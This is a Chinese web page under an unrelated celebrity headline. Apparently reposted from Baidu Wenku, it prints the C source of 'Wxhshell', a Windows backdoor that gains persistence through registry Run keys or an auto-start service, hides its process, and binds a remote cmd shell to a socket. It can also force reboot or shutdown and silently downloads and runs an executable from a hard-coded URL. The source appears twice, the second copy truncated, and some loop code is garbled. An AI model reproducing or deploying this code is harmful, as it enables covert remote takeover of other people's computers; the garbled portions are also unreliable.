中财网周冬雨演过什么电视剧:端口复用的Wxhshell源代码,内有从指定url下载文件代码
来源：百度文库 编辑：中财网 时间：2024/05/05 07:29:19
端口复用的Wxhshell源代码,内有从指定url下载文件代码
include "stdafx.h"
#include#include #include #include #include #include
#pragma comment (lib, "Ws2_32.lib")#pragma comment (lib, "urlmon.lib")
#define MAX_USER 100 // 最大客户端连接数#define BUF_SOCK 200 // sock buffer#define KEY_BUFF 255 // 输入 buffer
#define REBOOT 0 // 重启#define SHUTDOWN 1 // 关机
#define DEF_PORT 5000 // 监听端口
#define REG_LEN 16 // 注册表键长度#define SVC_LEN 80 // NT服务名长度
// 从dll定义APItypedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
// wxhshell配置信息struct WSCFG { int ws_port; // 监听端口 char ws_passstr[REG_LEN]; // 口令 int ws_autoins; // 安装标记, 1=yes 0=no char ws_regname[REG_LEN]; // 注册表键名 char ws_svcname[REG_LEN]; // 服务名 char ws_svcdisp[SVC_LEN]; // 服务显示名 char ws_svcdesc[SVC_LEN]; // 服务描述信息 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 int ws_downexe; // 下载执行标记, 1=yes 0=no char ws_fileurl[SVC_LEN]; // 下载文件的 url, "[url]http://xxx/file.exe[/url]" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
};
// default Wxhshell configurationstruct WSCFG wscfg={DEF_PORT, "xuhuanlingzhe", 1, "Wxhshell", "Wxhshell", "WxhShell Service", "Wrsky Windows CmdShell Service", "Please Input Your Password: ", 1, "[url]http://www.wrsky.com/wxhshell.exe[/url]", "Wxhshell.exe" };
// 消息定义模块char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 [url]http://www.wrsky.com[/url]\n\rMake by 虚幻灵者\n\r";char *msg_ws_prompt="\n\r? for help\n\r#>";char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>[url]http://.../server.exe[/url]\n\r";char *msg_ws_ext="\n\rExit.";char *msg_ws_end="\n\rQuit.";char *msg_ws_boot="\n\rReboot...";char *msg_ws_poff="\n\rShutdown...";char *msg_ws_down="\n\rSave to ";
char *msg_ws_err="\n\rErr!";char *msg_ws_ok="\n\rOK!";
char ExeFile[MAX_PATH];int nUser = 0;HANDLE handles[MAX_USER];int OsIsNt;
SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE hServiceStatusHandle;
// 函数声明int Install(void);int Uninstall(void);int DownloadFile(char *sURL, SOCKET wsh);int Boot(int flag);void HideProc(void);int GetOsVer(void);int Wxhshell(SOCKET wsl);void TalkWithClient(void *cs);int CmdShell(SOCKET sock);int StartFromService(void);int StartWxhshell(LPSTR lpCmdLine);
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );VOID WINAPI NTServiceHandler( DWORD fdwControl );
// 数据结构和表定义SERVICE_TABLE_ENTRY DispatchTable[] ={ {wscfg.ws_svcname, NTServiceMain}, {NULL, NULL}};
// 自我安装int Install(void){ char svExeFile[MAX_PATH]; HKEY key; strcpy(svExeFile,ExeFile);
// 如果是win9x系统，修改注册表设为自启动 if(!OsIsNt) { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RegCloseKey(key); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RegCloseKey(key); return 0; } } } else {
// 如果是NT以上系统，安装为系统服务 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (schSCManager!=0) { SC_HANDLE schService = CreateService ( schSCManager, wscfg.ws_svcname, wscfg.ws_svcdisp, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svExeFile, NULL, NULL, NULL, NULL, NULL ); if (schService!=0) { CloseServiceHandle(schService); CloseServiceHandle(schSCManager); strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(svExeFile,wscfg.ws_svcname); if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RegCloseKey(key); return 0; } } CloseServiceHandle(schSCManager); } }
return 1;}
// 自我卸载int Uninstall(void){ HKEY key;
if(!OsIsNt) { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RegDeleteValue(key,wscfg.ws_regname); RegCloseKey(key); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RegDeleteValue(key,wscfg.ws_regname); RegCloseKey(key); return 0; } } } else {
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); if (schSCManager!=0) { SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); if (schService!=0) { if(DeleteService(schService)!=0) { CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return 0; } CloseServiceHandle(schService); } CloseServiceHandle(schSCManager); } }
return 1;}
// 从指定url下载文件int DownloadFile(char *sURL, SOCKET wsh){ HRESULT hr; char seps[]= "/"; char *token; char *file; char myURL[MAX_PATH]; char myFILE[MAX_PATH];
strcpy(myURL,sURL); token=strtok(myURL,seps); while(token!=NULL) { file=token; token=strtok(NULL,seps); }
GetCurrentDirectory(MAX_PATH,myFILE); strcat(myFILE, "\\"); strcat(myFILE, file); send(wsh,myFILE,strlen(myFILE),0); send(wsh,"...",3,0); hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); if(hr==S_OK) return 0; else return 1;
}
// 系统电源模块int Boot(int flag){ HANDLE hToken; TOKEN_PRIVILEGES tkp;
if(OsIsNt) { OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); if(flag==REBOOT) { if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) return 0; } else { if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) return 0; } } else { if(flag==REBOOT) { if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) return 0; } else { if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) return 0; } }
return 1;}
// win9x进程隐藏模块void HideProc(void){
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); if ( hKernel != NULL ) { pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FreeLibrary(hKernel); }
return;}
// 获取操作系统版本int GetOsVer(void){ OSVERSIONINFO winfo; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&winfo); if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) return 1; else return 0;}
// 客户端句柄模块int Wxhshell(SOCKET wsl){ SOCKET wsh; struct sockaddr_in client; DWORD myID;
while(nUser handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); if(handles[nUser]==0) closesocket(wsh); else nUser++; } WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
return 0;}
// 关闭 socketvoid CloseIt(SOCKET wsh){ closesocket(wsh); nUser--; ExitThread(0);}
// 客户端请求句柄void TalkWithClient(void *cs){
SOCKET wsh=(SOCKET)cs; char pwd[SVC_LEN]; char cmd[KEY_BUFF]; char chr[1]; int i,j;
while (nUser < MAX_USER) {
if(wscfg.ws_passstr) { if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); //ZeroMemory(pwd,KEY_BUFF); i=0; while(i // 设置超时 fd_set FdRead; struct timeval TimeOut; FD_ZERO(&FdRead); FD_SET(wsh,&FdRead); TimeOut.tv_sec=8; TimeOut.tv_usec=0; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pwd[i]=chr[0]; if(chr[0]==0xd || chr[0]==0xa) { pwd[i]=0; break; } i++; }
// 如果是非法用户，关闭 socket if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
while(1) {
ZeroMemory(cmd,KEY_BUFF);
// 自动支持客户端 telnet标准 j=0; while(j // 下载文件 if(strstr(cmd,"http://")) { send(wsh,msg_ws_down,strlen(msg_ws_down),0); if(DownloadFile(cmd,wsh)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } else {
switch(cmd[0]) { // 帮助 case '?': { send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); break; } // 安装 case 'i': { if(Install()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // 卸载 case 'r': { if(Uninstall()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // 显示 wxhshell 所在路径 case 'p': { char svExeFile[MAX_PATH]; strcpy(svExeFile,"\n\r"); strcat(svExeFile,ExeFile); send(wsh,svExeFile,strlen(svExeFile),0); break; } // 重启 case 'b': { send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); if(Boot(REBOOT)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // 关机 case 'd': { send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); if(Boot(SHUTDOWN)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // 获取shell case 's': { CmdShell(wsh); closesocket(wsh); ExitThread(0); break; } // 退出 case 'x': { send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CloseIt(wsh); break; } // 离开 case 'q': { send(wsh,msg_ws_end,strlen(msg_ws_end),0); closesocket(wsh); WSACleanup(); exit(1); break; } } }
// 提示信息 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } }
return;}
// shell模块句柄int CmdShell(SOCKET sock){ STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PROCESS_INFORMATION ProcessInfo; char cmdline[]="cmd"; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); return 0;}
// 自身启动模式int StartFromService(void){ typedef struct { DWORD ExitStatus; DWORD PebBaseAddress; DWORD AffinityMask; DWORD BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION;
PROCNTQSIP NtQueryInformationProcess;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
HANDLE hProcess; PROCESS_BASIC_INFORMATION pbi;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); if(NULL == hInst ) return 0;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) return 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); if(!hProcess) return 0;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
CloseHandle(hProcess);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); if(hProcess==NULL) return 0;
HMODULE hMod; char procName[255]; unsigned long cbNeeded;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
CloseHandle(hProcess);
if(strstr(procName,"services")) return 1; // 以服务启动
return 0; // 注册表启动}
// 主模块int StartWxhshell(LPSTR lpCmdLine){ SOCKET wsl; BOOL val=TRUE; int port=0; struct sockaddr_in door;
if(wscfg.ws_autoins) Install();
port=atoi(lpCmdLine);
if(port<=0) port=wscfg.ws_port;
WSADATA data; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); door.sin_family = AF_INET; door.sin_addr.s_addr = inet_addr("127.0.0.1"); door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { closesocket(wsl); return 1; }
if(listen(wsl,2) == INVALID_SOCKET) { closesocket(wsl); return 1; } Wxhshell(wsl); WSACleanup();
return 0;
}
// 以NT服务方式启动VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ){ DWORD status = 0; DWORD specificError = 0xfffffff;
serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); if (hServiceStatusHandle==0) return;
status = GetLastError(); if (status!=NO_ERROR) { serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatus.dwWin32ExitCode = status; serviceStatus.dwServiceSpecificExitCode = specificError; SetServiceStatus(hServiceStatusHandle, &serviceStatus); return; }
serviceStatus.dwCurrentState = SERVICE_RUNNING; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");}
// 处理NT服务事件，比如：启动、停止VOID WINAPI NTServiceHandler(DWORD fdwControl){ switch(fdwControl) { case SERVICE_CONTROL_STOP: serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; { SetServiceStatus(hServiceStatusHandle, &serviceStatus); } return; case SERVICE_CONTROL_PAUSE: serviceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: serviceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_INTERROGATE: break; }; SetServiceStatus(hServiceStatusHandle, &serviceStatus);}
// 标准应用程序主函数int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow){
// 获取操作系统版本 OsIsNt=GetOsVer(); GetModuleFileName(NULL,ExeFile,MAX_PATH);
// 从命令行安装 if(strpbrk(lpCmdLine,"iI")) Install();
// 下载执行文件 if(wscfg.ws_downexe) { if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WinExec(wscfg.ws_filenam,SW_HIDE); }
if(!OsIsNt) { // 如果时win9x，隐藏进程并且设置为注册表启动 HideProc(); StartWxhshell(lpCmdLine); } else if(StartFromService()) // 以服务方式启动 StartServiceCtrlDispatcher(DispatchTable); else // 普通方式启动 StartWxhshell(lpCmdLine);
return 0;}
include "stdafx.h"
#include
#pragma comment (lib, "Ws2_32.lib")#pragma comment (lib, "urlmon.lib")
#define MAX_USER 100 // 最大客户端连接数#define BUF_SOCK 200 // sock buffer#define KEY_BUFF 255 // 输入 buffer
#define REBOOT 0 // 重启#define SHUTDOWN 1 // 关机
#define DEF_PORT 5000 // 监听端口
#define REG_LEN 16 // 注册表键长度#define SVC_LEN 80 // NT服务名长度
// 从dll定义APItypedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
// wxhshell配置信息struct WSCFG { int ws_port; // 监听端口 char ws_passstr[REG_LEN]; // 口令 int ws_autoins; // 安装标记, 1=yes 0=no char ws_regname[REG_LEN]; // 注册表键名 char ws_svcname[REG_LEN]; // 服务名 char ws_svcdisp[SVC_LEN]; // 服务显示名 char ws_svcdesc[SVC_LEN]; // 服务描述信息 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 int ws_downexe; // 下载执行标记, 1=yes 0=no char ws_fileurl[SVC_LEN]; // 下载文件的 url, "[url]http://xxx/file.exe[/url]" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
};
// default Wxhshell configurationstruct WSCFG wscfg={DEF_PORT, "xuhuanlingzhe", 1, "Wxhshell", "Wxhshell", "WxhShell Service", "Wrsky Windows CmdShell Service", "Please Input Your Password: ", 1, "[url]http://www.wrsky.com/wxhshell.exe[/url]", "Wxhshell.exe" };
// 消息定义模块char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 [url]http://www.wrsky.com[/url]\n\rMake by 虚幻灵者\n\r";char *msg_ws_prompt="\n\r? for help\n\r#>";char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>[url]http://.../server.exe[/url]\n\r";char *msg_ws_ext="\n\rExit.";char *msg_ws_end="\n\rQuit.";char *msg_ws_boot="\n\rReboot...";char *msg_ws_poff="\n\rShutdown...";char *msg_ws_down="\n\rSave to ";
char *msg_ws_err="\n\rErr!";char *msg_ws_ok="\n\rOK!";
char ExeFile[MAX_PATH];int nUser = 0;HANDLE handles[MAX_USER];int OsIsNt;
SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE hServiceStatusHandle;
// 函数声明int Install(void);int Uninstall(void);int DownloadFile(char *sURL, SOCKET wsh);int Boot(int flag);void HideProc(void);int GetOsVer(void);int Wxhshell(SOCKET wsl);void TalkWithClient(void *cs);int CmdShell(SOCKET sock);int StartFromService(void);int StartWxhshell(LPSTR lpCmdLine);
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );VOID WINAPI NTServiceHandler( DWORD fdwControl );
// 数据结构和表定义SERVICE_TABLE_ENTRY DispatchTable[] ={ {wscfg.ws_svcname, NTServiceMain}, {NULL, NULL}};
// 自我安装int Install(void){ char svExeFile[MAX_PATH]; HKEY key; strcpy(svExeFile,ExeFile);
// 如果是win9x系统，修改注册表设为自启动 if(!OsIsNt) { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RegCloseKey(key); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RegCloseKey(key); return 0; } } } else {
// 如果是NT以上系统，安装为系统服务 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (schSCManager!=0) { SC_HANDLE schService = CreateService ( schSCManager, wscfg.ws_svcname, wscfg.ws_svcdisp, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svExeFile, NULL, NULL, NULL, NULL, NULL ); if (schService!=0) { CloseServiceHandle(schService); CloseServiceHandle(schSCManager); strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); strcat(svExeFile,wscfg.ws_svcname); if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RegCloseKey(key); return 0; } } CloseServiceHandle(schSCManager); } }
return 1;}
// 自我卸载int Uninstall(void){ HKEY key;
if(!OsIsNt) { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RegDeleteValue(key,wscfg.ws_regname); RegCloseKey(key); if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RegDeleteValue(key,wscfg.ws_regname); RegCloseKey(key); return 0; } } } else {
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); if (schSCManager!=0) { SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); if (schService!=0) { if(DeleteService(schService)!=0) { CloseServiceHandle(schService); CloseServiceHandle(schSCManager); return 0; } CloseServiceHandle(schService); } CloseServiceHandle(schSCManager); } }
return 1;}
// 从指定url下载文件int DownloadFile(char *sURL, SOCKET wsh){ HRESULT hr; char seps[]= "/"; char *token; char *file; char myURL[MAX_PATH]; char myFILE[MAX_PATH];
strcpy(myURL,sURL); token=strtok(myURL,seps); while(token!=NULL) { file=token; token=strtok(NULL,seps); }
GetCurrentDirectory(MAX_PATH,myFILE); strcat(myFILE, "\\"); strcat(myFILE, file); send(wsh,myFILE,strlen(myFILE),0); send(wsh,"...",3,0); hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); if(hr==S_OK) return 0; else return 1;
}
// 系统电源模块int Boot(int flag){ HANDLE hToken; TOKEN_PRIVILEGES tkp;
if(OsIsNt) { OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); if(flag==REBOOT) { if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) return 0; } else { if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) return 0; } } else { if(flag==REBOOT) { if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) return 0; } else { if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) return 0; } }
return 1;}
// win9x进程隐藏模块void HideProc(void){
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); if ( hKernel != NULL ) { pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FreeLibrary(hKernel); }
return;}
// 获取操作系统版本int GetOsVer(void){ OSVERSIONINFO winfo; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&winfo); if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) return 1; else return 0;}
// 客户端句柄模块int Wxhshell(SOCKET wsl){ SOCKET wsh; struct sockaddr_in client; DWORD myID;
while(nUser
return 0;}
// 关闭 socketvoid CloseIt(SOCKET wsh){ closesocket(wsh); nUser--; ExitThread(0);}
// 客户端请求句柄void TalkWithClient(void *cs){
SOCKET wsh=(SOCKET)cs; char pwd[SVC_LEN]; char cmd[KEY_BUFF]; char chr[1]; int i,j;
while (nUser < MAX_USER) {
if(wscfg.ws_passstr) { if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); //ZeroMemory(pwd,KEY_BUFF); i=0; while(i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pwd[i]=chr[0]; if(chr[0]==0xd || chr[0]==0xa) { pwd[i]=0; break; } i++; }
// 如果是非法用户，关闭 socket if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
while(1) {
ZeroMemory(cmd,KEY_BUFF);
// 自动支持客户端 telnet标准 j=0; while(j
switch(cmd[0]) { // 帮助 case '?': { send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); break; } // 安装 case 'i': { if(Install()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // 卸载 case 'r': { if(Uninstall()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // 显示 wxhshell 所在路径 case 'p': { char svExeFile[MAX_PATH]; strcpy(svExeFile,"\n\r"); strcat(svExeFile,ExeFile); send(wsh,svExeFile,strlen(svExeFile),0); break; } // 重启 case 'b': { send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); if(Boot(REBOOT)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // 关机 case 'd': { send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); if(Boot(SHUTDOWN)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // 获取shell case 's': { CmdShell(wsh); closesocket(wsh); ExitThread(0); break; } // 退出 case 'x': { send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CloseIt(wsh); break; } // 离开 case 'q': { send(wsh,msg_ws_end,strlen(msg_ws_end),0); closesocket(wsh); WSACleanup(); exit(1); break; } } }
// 提示信息 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } }
return;}
// shell模块句柄int CmdShell(SOCKET sock){ STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PROCESS_INFORMATION ProcessInfo; char cmdline[]="cmd"; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); return 0;}
// 自身启动模式int StartFromService(void){ typedef struct { DWORD ExitStatus; DWORD PebBaseAddress; DWORD AffinityMask; DWORD BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION;
PROCNTQSIP NtQueryInformationProcess;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
HANDLE hProcess; PROCESS_BASIC_INFORMATION pbi;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); if(NULL == hInst ) return 0;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) return 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); if(!hProcess) return 0;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
CloseHandle(hProcess);
